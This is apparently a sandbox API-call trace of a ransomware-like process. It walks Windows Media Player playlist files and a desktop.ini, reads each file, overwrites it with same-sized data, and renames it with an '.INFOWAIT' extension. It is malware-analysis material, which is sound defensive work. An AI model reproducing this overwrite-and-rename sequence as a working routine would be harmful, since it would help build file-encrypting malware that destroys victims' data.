[0142.146] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.146] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0142.146] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\06_pictures_rated_4_or_5_stars.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0142.146] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x311 [0142.146] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0142.146] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.146] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x311, lpOverlapped=0x0) returned 1 [0142.148] VirtualAlloc (lpAddress=0x0, dwSize=0x311, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0142.148] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.148] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x311, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x311, lpOverlapped=0x0) returned 1 [0142.148] CloseHandle (hObject=0xad4) returned 1 [0142.149] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl" [0142.149] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl.INFOWAIT" [0142.149] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\06_pictures_rated_4_or_5_stars.wpl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\06_pictures_rated_4_or_5_stars.wpl.infowait")) returned 1 [0142.149] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.150] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.150] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0142.150] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\07_tv_recorded_in_the_last_week.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0142.150] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x410 [0142.150] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0142.151] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.151] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x410, lpOverlapped=0x0) returned 1 [0142.153] VirtualAlloc (lpAddress=0x0, dwSize=0x410, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0142.153] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.153] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x410, lpOverlapped=0x0) returned 1 [0142.153] CloseHandle (hObject=0xad4) returned 1 [0142.153] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl" [0142.153] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl.INFOWAIT" [0142.154] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\07_tv_recorded_in_the_last_week.wpl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\07_tv_recorded_in_the_last_week.wpl.infowait")) returned 1 [0142.154] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.155] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.155] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0142.155] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\08_video_rated_at_4_or_5_stars.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0142.155] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x3fc [0142.155] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0142.155] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.156] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x3fc, lpOverlapped=0x0) returned 1 [0142.158] VirtualAlloc (lpAddress=0x0, dwSize=0x3fc, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0142.158] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.158] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x3fc, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x3fc, lpOverlapped=0x0) returned 1 [0142.158] CloseHandle (hObject=0xad4) returned 1 [0142.158] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl" [0142.158] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl.INFOWAIT" [0142.158] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\08_video_rated_at_4_or_5_stars.wpl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\08_video_rated_at_4_or_5_stars.wpl.infowait")) returned 1 [0142.159] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.159] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.160] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0142.160] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\09_music_played_the_most.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0142.160] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x401 [0142.160] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0142.161] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.161] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x401, lpOverlapped=0x0) returned 1 [0142.170] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0142.170] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.170] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x401, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x401, lpOverlapped=0x0) returned 1 [0142.170] CloseHandle (hObject=0xad4) returned 1 [0142.170] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl" [0142.171] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl.INFOWAIT" [0142.171] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\09_music_played_the_most.wpl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\09_music_played_the_most.wpl.infowait")) returned 1 [0142.171] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.172] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.172] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0142.172] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\10_all_music.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0142.174] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x427 [0142.174] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0142.174] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.174] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x427, lpOverlapped=0x0) returned 1 [0142.176] VirtualAlloc (lpAddress=0x0, dwSize=0x427, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0142.176] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.176] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x427, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x427, lpOverlapped=0x0) returned 1 [0142.176] CloseHandle (hObject=0xad4) returned 1 [0142.176] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl" [0142.176] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl.INFOWAIT" [0142.176] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\10_all_music.wpl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\10_all_music.wpl.infowait")) returned 1 [0142.177] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.178] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.178] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0142.178] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\11_all_pictures.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0142.179] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x249 [0142.179] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0142.179] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.179] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x249, lpOverlapped=0x0) returned 1 [0142.182] VirtualAlloc (lpAddress=0x0, dwSize=0x249, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0142.182] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.182] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x249, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x249, lpOverlapped=0x0) returned 1 [0142.182] CloseHandle (hObject=0xad4) returned 1 [0142.182] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl" [0142.182] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl.INFOWAIT" [0142.182] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\11_all_pictures.wpl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\11_all_pictures.wpl.infowait")) returned 1 [0142.183] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.183] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.184] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0142.184] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\12_all_video.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0142.184] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x437 [0142.184] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0142.184] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.184] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x437, lpOverlapped=0x0) returned 1 [0142.186] VirtualAlloc (lpAddress=0x0, dwSize=0x437, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0142.186] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.186] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x437, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x437, lpOverlapped=0x0) returned 1 [0142.186] CloseHandle (hObject=0xad4) returned 1 [0142.186] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl" [0142.186] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl.INFOWAIT" [0142.186] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\12_all_video.wpl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\12_all_video.wpl.infowait")) returned 1 [0142.187] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.188] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.188] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0142.188] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\burn\\burn\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0142.188] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xae [0142.188] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0142.188] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.188] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xae, lpOverlapped=0x0) returned 1 